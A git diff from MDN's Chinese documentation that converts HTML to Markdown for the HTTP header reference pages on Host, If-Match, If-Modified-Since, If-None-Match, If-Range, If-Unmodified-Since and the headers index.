    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPHeader("Host")}}
    • -
    +- {{HTTPHeader("Host")}} diff --git a/files/zh-cn/web/http/headers/host/index.md b/files/zh-cn/web/http/headers/host/index.md index fdaa216cb6a37f..bc4242c6568661 100644 --- a/files/zh-cn/web/http/headers/host/index.md +++ b/files/zh-cn/web/http/headers/host/index.md @@ -5,56 +5,46 @@ tags: - header http 参考 host translation_of: Web/HTTP/Headers/Host --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    Host 请求头指明了请求将要发送到的服务器主机名和端口号。

    +**Host** 请求头指明了请求将要发送到的服务器主机名和端口号。 -

    如果没有包含端口号,会自动使用被请求服务的默认端口(比如 HTTPS URL 使用 443 端口,HTTP URL 使用 80 端口)。

    +如果没有包含端口号,会自动使用被请求服务的默认端口(比如 HTTPS URL 使用 443 端口,HTTP URL 使用 80 端口)。 -

    所有 HTTP/1.1 请求报文中必须包含一个Host头字段。对于缺少Host头或者含有超过一个Host头的 HTTP/1.1 请求,可能会收到{{HTTPStatus("400")}}(Bad Request)状态码。

    +所有 HTTP/1.1 请求报文中必须包含一个`Host`头字段。对于缺少`Host`头或者含有超过一个`Host`头的 HTTP/1.1 请求,可能会收到{{HTTPStatus("400")}}(Bad Request)状态码。 - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}yes
    +| Header type | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | yes | -

    语法

    +## 语法 -
    Host: <host>:<port>
    -
    +```plain +Host: : +``` -

    指令

    +## 指令 -
    -
    <host>
    -
    服务器的域名(用于虚拟主机)。
    -
    <port> {{optional_inline}}
    -
    服务器监听的 TCP 端口号。
    -
    +- \ + - : 服务器的域名(用于虚拟主机)。 +- \ {{optional_inline}} + - : 服务器监听的 TCP 端口号。 -

    示例

    +## 示例 -
    Host: developer.mozilla.org
    +```plain +Host: developer.mozilla.org +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    参考

    +## 参考 -
      -
    • {{HTTPStatus("400")}}
    • -
    • {{HTMLElement("base")}}
    • -
    +- {{HTTPStatus("400")}} +- {{HTMLElement("base")}} diff --git a/files/zh-cn/web/http/headers/if-match/index.md b/files/zh-cn/web/http/headers/if-match/index.md index 0e4171ac9b362f..9b2fe846555fc1 100644 --- a/files/zh-cn/web/http/headers/if-match/index.md +++ b/files/zh-cn/web/http/headers/if-match/index.md @@ -6,71 +6,58 @@ tags: - 首部 translation_of: Web/HTTP/Headers/If-Match --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    请求首部 If-Match 的使用表示这是一个条件请求。在请求方法为 {{HTTPMethod("GET")}} 和 {{HTTPMethod("HEAD")}} 的情况下,服务器仅在请求的资源满足此首部列出的 ETag值时才会返回资源。而对于 {{HTTPMethod("PUT")}} 或其他非安全方法来说,只有在满足条件的情况下才可以将资源上传。

    +请求首部 **`If-Match`** 的使用表示这是一个条件请求。在请求方法为 {{HTTPMethod("GET")}} 和 {{HTTPMethod("HEAD")}} 的情况下,服务器仅在请求的资源满足此首部列出的 `ETag`值时才会返回资源。而对于 {{HTTPMethod("PUT")}} 或其他非安全方法来说,只有在满足条件的情况下才可以将资源上传。 -

    {{HTTPHeader("ETag")}} 之间的比较使用的是强比较算法,即只有在每一个字节都相同的情况下,才可以认为两个文件是相同的。在 ETag 前面添加 W/ 前缀表示可以采用相对宽松的算法。

    +{{HTTPHeader("ETag")}} 之间的比较使用的是**强比较算法**,即只有在每一个字节都相同的情况下,才可以认为两个文件是相同的。在 ETag 前面添加 `W/` 前缀表示可以采用相对宽松的算法。 -

    以下是两个常见的应用场景:

    +以下是两个常见的应用场景: -
      -
    • 对于 {{HTTPMethod("GET")}} 和 {{HTTPMethod("HEAD")}} 方法,搭配 {{HTTPHeader("Range")}}首部使用,可以用来保证新请求的范围与之前请求的范围是对同一份资源的请求。如果 ETag 无法匹配,那么需要返回 {{HTTPStatus("416")}} (Range Not Satisfiable,范围请求无法满足) 响应。
    • -
    • 对于其他方法来说,尤其是 {{HTTPMethod("PUT")}}, If-Match 首部可以用来避免更新丢失问题。它可以用来检测用户想要上传的不会覆盖获取原始资源之后做出的更新。如果请求的条件不满足,那么需要返回 {{HTTPStatus("412")}} (Precondition Failed,先决条件失败) 响应。
    • -
    +- 对于 {{HTTPMethod("GET")}} 和 {{HTTPMethod("HEAD")}} 方法,搭配 {{HTTPHeader("Range")}}首部使用,可以用来保证新请求的范围与之前请求的范围是对同一份资源的请求。如果 ETag 无法匹配,那么需要返回 {{HTTPStatus("416")}}` `(Range Not Satisfiable,范围请求无法满足) 响应。 +- 对于其他方法来说,尤其是 {{HTTPMethod("PUT")}}, `If-Match` 首部可以用来避免[更新丢失问题](https://www.w3.org/1999/04/Editing/#3.1)。它可以用来检测用户想要上传的不会覆盖获取原始资源之后做出的更新。如果请求的条件不满足,那么需要返回 {{HTTPStatus("412")}} (Precondition Failed,先决条件失败) 响应。 - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    If-Match: <etag_value>
    -If-Match: <etag_value>, <etag_value>, …
    -
    +```plain +If-Match: +If-Match: , , … +``` -

    指令

    +## 指令 -
    -
    <etag_value>
    -
    唯一地表示一份资源的实体标签。标签是由 ASCII 字符组成的字符串,用双引号括起来(如 "675af34563dc-tr34")。前面可以加上 W/ 前缀表示应该采用弱比较算法。
    -
    *
    -
    星号是一个特殊值,可以指代任意资源。
    -
    +- \ + - : 唯一地表示一份资源的实体标签。标签是由 ASCII 字符组成的字符串,用双引号括起来(如 "675af34563dc-tr34")。前面可以加上 W/ 前缀表示应该采用弱比较算法。 +- `*` + - : 星号是一个特殊值,可以指代任意资源。 -

    示例

    +## 示例 -
    If-Match: "bfc13a64729c4290ef5b2c2730249c88ca92d82d"
    +```plain
    +If-Match: "bfc13a64729c4290ef5b2c2730249c88ca92d82d"
     
     If-Match: W/"67ab43", "54ed21", "7892dd"
     
     If-Match: *
    -
    +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPHeader("ETag")}}
    • -
    • {{HTTPHeader("If-Unmodified-Since")}}
    • -
    • {{HTTPHeader("If-Modified-Since")}}
    • -
    • {{HTTPHeader("If-None-Match")}}
    • -
    • {{HTTPStatus("416")}} Range Not Satisfiable
    • -
    • {{HTTPStatus("412")}} Precondition Failed
    • -
    +- {{HTTPHeader("ETag")}} +- {{HTTPHeader("If-Unmodified-Since")}} +- {{HTTPHeader("If-Modified-Since")}} +- {{HTTPHeader("If-None-Match")}} +- {{HTTPStatus("416")}}` Range Not Satisfiable` +- {{HTTPStatus("412")}}` Precondition Failed` diff --git a/files/zh-cn/web/http/headers/if-modified-since/index.md b/files/zh-cn/web/http/headers/if-modified-since/index.md index 2c8a3851750986..1c6d5600e72b6e 100644 --- a/files/zh-cn/web/http/headers/if-modified-since/index.md +++ b/files/zh-cn/web/http/headers/if-modified-since/index.md @@ -6,74 +6,61 @@ tags: - 请求头 translation_of: Web/HTTP/Headers/If-Modified-Since --- -
    {{HTTPSidebar}}
    - -

    If-Modified-Since 是一个条件式请求首部,服务器只在所请求的资源在给定的日期时间之后对内容进行过修改的情况下才会将资源返回,状态码为 {{HTTPStatus("200")}} 。如果请求的资源从那时起未经修改,那么返回一个不带有消息主体的 {{HTTPStatus("304")}} 响应,而在 {{HTTPHeader("Last-Modified")}} 首部中会带有上次修改时间。 不同于 {{HTTPHeader("If-Unmodified-Since")}}, If-Modified-Since 只可以用在 {{HTTPMethod("GET")}} 或 {{HTTPMethod("HEAD")}} 请求中。

    - -

    当与 {{HTTPHeader("If-None-Match")}} 一同出现时,它(If-Modified-Since)会被忽略掉,除非服务器不支持 If-None-Match

    - -

    最常见的应用场景是来更新没有特定 {{HTTPHeader("ETag")}} 标签的缓存实体。

    - - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}no
    - -

    语法

    - -
    If-Modified-Since: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT
    -
    - -

    指令

    - -
    -
    <day-name>
    -
    "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" 或 "Sun" 之一(区分大小写)。
    -
    <day>
    -
    两位数字表示的天数,例如"04" or "23"。
    -
    <month>
    -
    "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" 之一(区分大小写)。
    -
    <year>
    -
    4 位数字表示的年份,例如 "1990" 或者"2016"。
    -
    <hour>
    -
    两位数字表示的小时数,例如 "09" 或者 "23"。
    -
    <minute>
    -
    两位数字表示的分钟数,例如"04" 或者 "59"。
    -
    <second>
    -
    两位数字表示的秒数,例如 "04" 或者 "59"。
    -
    GMT
    -
    -

    国际标准时间。HTTP 中的时间均用国际标准时间表示,从来不使用当地时间。

    -
    -
    - -

    示例

    - -
    If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT
    -
    - -

    规范

    +{{HTTPSidebar}} + +**`If-Modified-Since`** 是一个条件式请求首部,服务器只在所请求的资源在给定的日期时间之后对内容进行过修改的情况下才会将资源返回,状态码为 {{HTTPStatus("200")}} 。如果请求的资源从那时起未经修改,那么返回一个不带有消息主体的 {{HTTPStatus("304")}} 响应,而在 {{HTTPHeader("Last-Modified")}} 首部中会带有上次修改时间。 不同于 {{HTTPHeader("If-Unmodified-Since")}}, `If-Modified-Since` 只可以用在 {{HTTPMethod("GET")}} 或 {{HTTPMethod("HEAD")}} 请求中。 + +当与 {{HTTPHeader("If-None-Match")}} 一同出现时,它(**`If-Modified-Since`**)会被忽略掉,除非服务器不支持 `If-None-Match`。 + +最常见的应用场景是来更新没有特定 {{HTTPHeader("ETag")}} 标签的缓存实体。 + +| Header type | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | + +## 语法 + +```plain +If-Modified-Since: , :: GMT +``` + +## 指令 + +- \ + - : "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" 或 "Sun" 之一(区分大小写)。 +- \ + - : 两位数字表示的天数,例如"04" or "23"。 +- \ + - : "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" 之一(区分大小写)。 +- \ + - : 4 位数字表示的年份,例如 "1990" 或者"2016"。 +- \ + - : 两位数字表示的小时数,例如 "09" 或者 "23"。 +- \ + - : 两位数字表示的分钟数,例如"04" 或者 "59"。 +- \ + - : 两位数字表示的秒数,例如 "04" 或者 "59"。 +- `GMT` + - : 国际标准时间。HTTP 中的时间均用国际标准时间表示,从来不使用当地时间。 + +## 示例 + +```plain +If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT +``` + +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPHeader("ETag")}}
    • -
    • {{HTTPHeader("If-Unmodified-since")}}
    • -
    • {{HTTPHeader("If-Match")}}
    • -
    • {{HTTPHeader("If-None-Match")}}
    • -
    • {{HTTPStatus("304")}} Not Modified
    • -
    +- {{HTTPHeader("ETag")}} +- {{HTTPHeader("If-Unmodified-since")}} +- {{HTTPHeader("If-Match")}} +- {{HTTPHeader("If-None-Match")}} +- {{HTTPStatus("304")}}` Not Modified` diff --git a/files/zh-cn/web/http/headers/if-none-match/index.md b/files/zh-cn/web/http/headers/if-none-match/index.md index a395b23d11ba84..d23266e343bf36 100644 --- a/files/zh-cn/web/http/headers/if-none-match/index.md +++ b/files/zh-cn/web/http/headers/if-none-match/index.md @@ -6,75 +6,63 @@ tags: - 条件请求 translation_of: Web/HTTP/Headers/If-None-Match --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    If-None-Match 是一个条件式请求首部。对于 GET{{HTTPMethod("GET")}} 和 {{HTTPMethod("HEAD")}} 请求方法来说,当且仅当服务器上没有任何资源的 {{HTTPHeader("ETag")}} 属性值与这个首部中列出的相匹配的时候,服务器端才会返回所请求的资源,响应码为 {{HTTPStatus("200")}} 。对于其他方法来说,当且仅当最终确认没有已存在的资源的 {{HTTPHeader("ETag")}} 属性值与这个首部中所列出的相匹配的时候,才会对请求进行相应的处理。

    +**`If-None-Match`** 是一个条件式请求首部。对于 GET{{HTTPMethod("GET")}} 和 {{HTTPMethod("HEAD")}} 请求方法来说,当且仅当服务器上没有任何资源的 {{HTTPHeader("ETag")}} 属性值与这个首部中列出的相匹配的时候,服务器端才会返回所请求的资源,响应码为 {{HTTPStatus("200")}} 。对于其他方法来说,当且仅当最终确认没有已存在的资源的 {{HTTPHeader("ETag")}} 属性值与这个首部中所列出的相匹配的时候,才会对请求进行相应的处理。 -

    对于 {{HTTPMethod("GET")}} 和 {{HTTPMethod("HEAD")}} 方法来说,当验证失败的时候,服务器端必须返回响应码 304(Not Modified,未改变)。对于能够引发服务器状态改变的方法,则返回 412(Precondition Failed,前置条件失败)。需要注意的是,服务器端在生成状态码为 304 的响应的时候,必须同时生成以下会存在于对应的 200 响应中的首部:Cache-Control、Content-Location、Date、ETag、Expires 和 Vary 。

    +对于 {{HTTPMethod("GET")}} 和 {{HTTPMethod("HEAD")}} 方法来说,当验证失败的时候,服务器端必须返回响应码 304(Not Modified,未改变)。对于能够引发服务器状态改变的方法,则返回 412(Precondition Failed,前置条件失败)。需要注意的是,服务器端在生成状态码为 304 的响应的时候,必须同时生成以下会存在于对应的 200 响应中的首部:Cache-Control、Content-Location、Date、ETag、Expires 和 Vary 。 -

    {{HTTPHeader("ETag")}} 属性之间的比较采用的是弱比较算法,即两个文件除了每个字节都相同外,内容一致也可以认为是相同的。例如,如果两个页面仅仅在页脚的生成时间有所不同,就可以认为二者是相同的。

    +{{HTTPHeader("ETag")}} 属性之间的比较采用的是**弱比较算法**,即两个文件除了每个字节都相同外,内容一致也可以认为是相同的。例如,如果两个页面仅仅在页脚的生成时间有所不同,就可以认为二者是相同的。 -

    当与 {{HTTPHeader("If-Modified-Since")}} 一同使用的时候,If-None-Match 优先级更高(假如服务器支持的话)。

    +当与 {{HTTPHeader("If-Modified-Since")}} 一同使用的时候,If-None-Match 优先级更高(假如服务器支持的话)。 -

    以下是两个常见的应用场景:

    +以下是两个常见的应用场景: -
      -
    • 采用 {{HTTPMethod("GET")}} 或 {{HTTPMethod("HEAD")}} 方法,来更新拥有特定的{{HTTPHeader("ETag")}} 属性值的缓存。
    • -
    • 采用其他方法,尤其是 {{HTTPMethod("PUT")}},将 If-None-Match used 的值设置为 * ,用来生成事先并不知道是否存在的文件,可以确保先前并没有进行过类似的上传操作,防止之前操作数据的丢失。这个问题属于更新丢失问题的一种。
    • -
    +- 采用 {{HTTPMethod("GET")}} 或 {{HTTPMethod("HEAD")}} 方法,来更新拥有特定的{{HTTPHeader("ETag")}} 属性值的缓存。 +- 采用其他方法,尤其是 {{HTTPMethod("PUT")}},将 `If-None-Match` used 的值设置为 \* ,用来生成事先并不知道是否存在的文件,可以确保先前并没有进行过类似的上传操作,防止之前操作数据的丢失。这个问题属于[更新丢失问题](https://www.w3.org/1999/04/Editing/#3.1)的一种。 - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    If-None-Match: <etag_value>
    -If-None-Match: <etag_value>, <etag_value>, …
    -If-None-Match: *
    +```plain +If-None-Match: +If-None-Match: , , … +If-None-Match: * +``` -

    指令

    +## 指令 -
    -
    <etag_value>
    -
    唯一地表示所请求资源的实体标签。形式是采用双引号括起来的由 ASCII 字符串(如"675af34563dc-tr34"),有可能包含一个 W/ 前缀,来提示应该采用弱比较算法(这个是画蛇添足,因为 If-None-Match 用且仅用这一算法)。
    -
    *
    -
    星号是一个特殊值,可以代表任意资源。它只用在进行资源上传时,通常是采用 {{HTTPMethod("PUT")}} 方法,来检测拥有相同识别 ID 的资源是否已经上传过了。
    -
    +- \ + - : 唯一地表示所请求资源的实体标签。形式是采用双引号括起来的由 ASCII 字符串(如"675af34563dc-tr34"),有可能包含一个 W/ 前缀,来提示应该采用弱比较算法(这个是画蛇添足,因为 If-None-Match 用且仅用这一算法)。 +- `*` + - : 星号是一个特殊值,可以代表任意资源。它只用在进行资源上传时,通常是采用 {{HTTPMethod("PUT")}} 方法,来检测拥有相同识别 ID 的资源是否已经上传过了。 -

    示例

    +## 示例 -
    If-None-Match: "bfc13a64729c4290ef5b2c2730249c88ca92d82d"
    +```plain
    +If-None-Match: "bfc13a64729c4290ef5b2c2730249c88ca92d82d"
     
     If-None-Match: W/"67ab43", "54ed21", "7892dd"
     
     If-None-Match: *
    -
    +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPHeader("ETag")}}
    • -
    • {{HTTPHeader("If-Unmodified-Since")}}
    • -
    • {{HTTPHeader("If-Modified-Since")}}
    • -
    • {{HTTPHeader("If-Match")}}
    • -
    • {{HTTPStatus("304")}} Not Modified
    • -
    • {{HTTPStatus("412")}} Precondition Failed
    • -
    +- {{HTTPHeader("ETag")}} +- {{HTTPHeader("If-Unmodified-Since")}} +- {{HTTPHeader("If-Modified-Since")}} +- {{HTTPHeader("If-Match")}} +- {{HTTPStatus("304")}}` Not Modified` +- {{HTTPStatus("412")}}` Precondition Failed` diff --git a/files/zh-cn/web/http/headers/if-range/index.md b/files/zh-cn/web/http/headers/if-range/index.md index f11b333efd6fc9..9670c88e29a506 100644 --- a/files/zh-cn/web/http/headers/if-range/index.md +++ b/files/zh-cn/web/http/headers/if-range/index.md @@ -3,84 +3,70 @@ title: If-Range slug: Web/HTTP/Headers/If-Range translation_of: Web/HTTP/Headers/If-Range --- -
    {{HTTPSidebar}}
    - -

    If-Range HTTP 请求头字段用来使得 Range 头字段在一定条件下起作用:当字段值中的条件得到满足时,Range 头字段才会起作用,同时服务器回复{{HTTPStatus("206")}} 部分内容状态码,以及Range 头字段请求的相应部分;如果字段值中的条件没有得到满足,服务器将会返回 {{HTTPStatus("200")}} OK 状态码,并返回完整的请求资源。

    - -

    字段值中既可以用 {{HTTPHeader("Last-Modified")}} 时间值用作验证,也可以用{{HTTPHeader("ETag")}}标记作为验证,但不能将两者同时使用。

    - -

    If-Range 头字段通常用于断点续传的下载过程中,用来自从上次中断后,确保下载的资源没有发生改变。

    - -

    - - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}no
    - -

    语法

    - -
    If-Range: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT
    -If-Range: <etag>
    - -

    说明

    - -
    -
    <etag>
    -
    一个资源标签(entity tag)代表着所请求的资源。它是由被双引号包围的 ACSII 编码的字符串组成的(例如"675af34563dc-tr34")。当应用弱匹配算法时,E-Tag 会有一个 W/ 前缀。
    -
    - -
    -
    <day-name>
    -
    "Mon""Tue""Wed""Thu""Fri""Sat"或者"Sun"当中的一个(大小写敏感)。
    -
    <day>
    -
    两位数字,例如"04"或者"23"
    -
    <month>
    -
    "Jan""Feb","Mar""Apr""May""Jun""Jul""Aug""Sep""Oct""Nov",或者"Dec"中的一个(大小写敏感)。
    -
    <year>
    -
    四位数字,例如"1990"或者"2016"。
    -
    <hour>
    -
    两位数字,例如"09"或者"23"
    -
    <minute>
    -
    两位数字,例如"04"或者"59"
    -
    <second>
    -
    两位数字,例如"04"或者"59"
    -
    GMT
    -
    -

    格林威治标准时间。HTTP 协议的日期总是要使用 GMT,而不是当地时间。

    -
    -
    - -

    示例

    - -
    If-Range: Wed, 21 Oct 2015 07:28:00 GMT
    -
    - -

    规范

    +{{HTTPSidebar}} + +**`If-Range`** HTTP 请求头字段用来使得 **`Range`** 头字段在一定条件下起作用:当字段值中的条件得到满足时,**`Range`** 头字段才会起作用,同时服务器回复{{HTTPStatus("206")}} 部分内容状态码,以及**`Range`** 头字段请求的相应部分;如果字段值中的条件没有得到满足,服务器将会返回 {{HTTPStatus("200")}} `OK` 状态码,并返回完整的请求资源。 + +字段值中既可以用 {{HTTPHeader("Last-Modified")}} 时间值用作验证,也可以用{{HTTPHeader("ETag")}}标记作为验证,但不能将两者同时使用。 + +**`If-Range`** 头字段通常用于断点续传的下载过程中,用来自从上次中断后,确保下载的资源没有发生改变。 + +| Header type | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | + +## 语法 + +```plain +If-Range: , :: GMT +If-Range: +``` + +## 说明 + +- \ + - : 一个资源标签(entity tag)代表着所请求的资源。它是由被双引号包围的 ACSII 编码的字符串组成的(例如`"675af34563dc-tr34"`)。当应用弱匹配算法时,E-Tag 会有一个 `W/` 前缀。 + + + +- \ + - : `"Mon"`,`"Tue"`,`"Wed"`,`"Thu"`,`"Fri"`,`"Sat"`或者`"Sun"`当中的一个(大小写敏感)。 +- \ + - : 两位数字,例如`"04"或者"23"`。 +- \ + - : `"Jan"`,`"Feb","Mar"`,`"Apr"`,`"May"`,`"Jun"`,`"Jul"`,`"Aug"`,`"Sep"`,`"Oct"`,`"Nov"`,或者`"Dec"`中的一个(大小写敏感)。 +- \ + - : 四位数字,例如`"1990"或者"2016"。` +- \ + - : 两位数字,例如`"09"或者"23"`。 +- \ + - : 两位数字,例如`"04"或者"59"`。 +- \ + - : 两位数字,例如`"04"或者"59"`。 +- `GMT` + - : 格林威治标准时间。HTTP 协议的日期总是要使用 GMT,而不是当地时间。 + +## 示例 + +```plain +If-Range: Wed, 21 Oct 2015 07:28:00 GMT +``` + +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPHeader("ETag")}}
    • -
    • {{HTTPHeader("Last-Modified")}}
    • -
    • {{HTTPHeader("If-Modified-Since")}}
    • -
    • {{HTTPHeader("If-Unmodified-Since")}}
    • -
    • {{HTTPHeader("If-Match")}}
    • -
    • {{HTTPHeader("If-None-Match")}}
    • -
    • {{HTTPStatus("206")}} Partial Content
    • -
    • HTTP Conditional Requests
    • -
    +- {{HTTPHeader("ETag")}} +- {{HTTPHeader("Last-Modified")}} +- {{HTTPHeader("If-Modified-Since")}} +- {{HTTPHeader("If-Unmodified-Since")}} +- {{HTTPHeader("If-Match")}} +- {{HTTPHeader("If-None-Match")}} +- {{HTTPStatus("206")}}` Partial Content` +- [HTTP Conditional Requests](/zh-CN/docs/Web/HTTP/Conditional_requests) diff --git a/files/zh-cn/web/http/headers/if-unmodified-since/index.md b/files/zh-cn/web/http/headers/if-unmodified-since/index.md index 3f253b30239de0..90f958430d46ca 100644 --- a/files/zh-cn/web/http/headers/if-unmodified-since/index.md +++ b/files/zh-cn/web/http/headers/if-unmodified-since/index.md @@ -7,77 +7,62 @@ tags: - 请求首部 translation_of: Web/HTTP/Headers/If-Unmodified-Since --- -
    {{HTTPSidebar}}
    - -

    HTTP 协议中的 If-Unmodified-Since 消息头用于请求之中,使得当前请求成为条件式请求:只有当资源在指定的时间之后没有进行过修改的情况下,服务器才会返回请求的资源,或是接受 {{HTTPMethod("POST")}} 或其他 non-{{Glossary("safe")}} 方法的请求。如果所请求的资源在指定的时间之后发生了修改,那么会返回 {{HTTPStatus("412")}} (Precondition Failed) 错误。

    - -

    常见的应用场景有两种:

    - -
      -
    • 与 non-{{Glossary("safe")}} 方法如 {{HTTPMethod("POST")}} 搭配使用,可以用来优化并发控制,例如在某些 wiki 应用中的做法:假如在原始副本获取之后,服务器上所存储的文档已经被修改,那么对其作出的编辑会被拒绝提交。
    • -
    • 与含有 {{HTTPHeader("If-Range")}} 消息头的范围请求搭配使用,用来确保新的请求片段来自于未经修改的文档。
    • -
    - - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}no
    - -

    语法

    - -
    If-Unmodified-Since: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT
    -
    - -

    指令

    - -
    -
    <day-name>
    -
    "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" 或 "Sun" 之一(区分大小写)。
    -
    <day>
    -
    两位数字表示的天数,例如"04" or "23"。
    -
    <month>
    -
    "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" 之一(区分大小写)。
    -
    <year>
    -
    4 位数字表示的年份,例如 "1990" 或者"2016"。
    -
    <hour>
    -
    两位数字表示的小时数,例如 "09" 或者 "23"。
    -
    <minute>
    -
    两位数字表示的分钟数,例如"04" 或者 "59"。
    -
    <second>
    -
    两位数字表示的秒数,例如 "04" 或者 "59"。
    -
    GMT
    -
    -

    国际标准时间。HTTP 中的时间均用国际标准时间表示,从来不使用当地时间。

    -
    -
    - -

    示例

    - -
    If-Unmodified-Since: Wed, 21 Oct 2015 07:28:00 GMT
    -
    - -

    规范

    +{{HTTPSidebar}} + +HTTP 协议中的 **`If-Unmodified-Since`** 消息头用于请求之中,使得当前请求成为条件式请求:只有当资源在指定的时间之后没有进行过修改的情况下,服务器才会返回请求的资源,或是接受 {{HTTPMethod("POST")}} 或其他 non-{{Glossary("safe")}} 方法的请求。如果所请求的资源在指定的时间之后发生了修改,那么会返回 {{HTTPStatus("412")}} (Precondition Failed) 错误。 + +常见的应用场景有两种: + +- 与 non-{{Glossary("safe")}} 方法如 {{HTTPMethod("POST")}} 搭配使用,可以用来[优化并发控制](https://en.wikipedia.org/wiki/Optimistic_concurrency_control),例如在某些 wiki 应用中的做法:假如在原始副本获取之后,服务器上所存储的文档已经被修改,那么对其作出的编辑会被拒绝提交。 +- 与含有 {{HTTPHeader("If-Range")}} 消息头的范围请求搭配使用,用来确保新的请求片段来自于未经修改的文档。 + +| Header type | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | + +## 语法 + +```plain +If-Unmodified-Since: , :: GMT +``` + +## 指令 + +- \ + - : "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" 或 "Sun" 之一(区分大小写)。 +- \ + - : 两位数字表示的天数,例如"04" or "23"。 +- \ + - : "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" 之一(区分大小写)。 +- \ + - : 4 位数字表示的年份,例如 "1990" 或者"2016"。 +- \ + - : 两位数字表示的小时数,例如 "09" 或者 "23"。 +- \ + - : 两位数字表示的分钟数,例如"04" 或者 "59"。 +- \ + - : 两位数字表示的秒数,例如 "04" 或者 "59"。 +- `GMT` + - : 国际标准时间。HTTP 中的时间均用国际标准时间表示,从来不使用当地时间。 + +## 示例 + +```plain +If-Unmodified-Since: Wed, 21 Oct 2015 07:28:00 GMT +``` + +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPHeader("If-Unmodified-since")}}
    • -
    • {{HTTPHeader("If-Match")}}
    • -
    • {{HTTPHeader("If-None-Match")}}
    • -
    • {{HTTPHeader("If-Range")}}
    • -
    • {{HTTPStatus("412")}} Precondition Failed
    • -
    +- {{HTTPHeader("If-Unmodified-since")}} +- {{HTTPHeader("If-Match")}} +- {{HTTPHeader("If-None-Match")}} +- {{HTTPHeader("If-Range")}} +- {{HTTPStatus("412")}}` Precondition Failed` diff --git a/files/zh-cn/web/http/headers/index.md b/files/zh-cn/web/http/headers/index.md index 6b249c72393d4d..d3605f2da9f6fd 100644 --- a/files/zh-cn/web/http/headers/index.md +++ b/files/zh-cn/web/http/headers/index.md @@ -5,546 +5,118 @@ tags: - HTTP Headers translation_of: Web/HTTP/Headers --- -

    {{ HTTPSidebar }}

    +{{ HTTPSidebar }} -

    HTTP 消息头允许客户端和服务器通过 request response传递附加信息。一个请求头由名称(不区分大小写)后跟一个冒号 (`:`),冒号后跟具体的值(不带换行符)组成。该值前面的引导空白会被忽略。

    +**HTTP 消息头**允许客户端和服务器通过 **request**和 **response**传递附加信息。一个请求头由名称(不区分大小写)后跟一个冒号 (\`:\`),冒号后跟具体的值(不带换行符)组成。该值前面的引导空白会被忽略。 -

    自定专用消息头可通过'X-' 前缀来添加;但是这种用法被 IETF 在 2012 年 6 月发布的 RFC6648 中明确弃用,原因是其会在非标准字段成为标准时造成不便;其他的消息头在 IANA 注册表 中列出,其原始内容在 RFC 4229 中定义。 此外,IANA 还维护着被提议的新 HTTP 消息头注册表.

    +自定专用消息头可通过'X-' 前缀来添加;但是这种用法被 IETF 在 2012 年 6 月发布的 [RFC6648](https://tools.ietf.org/html/rfc6648) 中明确弃用,原因是其会在非标准字段成为标准时造成不便;其他的消息头在 [IANA 注册表](http://www.iana.org/assignments/message-headers/perm-headers.html) 中列出,其原始内容在 [RFC 4229](http://tools.ietf.org/html/rfc4229) 中定义。 此外,IANA 还维护着[被提议的新 HTTP 消息头注册表](http://www.iana.org/assignments/message-headers/prov-headers.html). -

    根据不同上下文,可将消息头分为:

    +根据不同上下文,可将消息头分为: -
      -
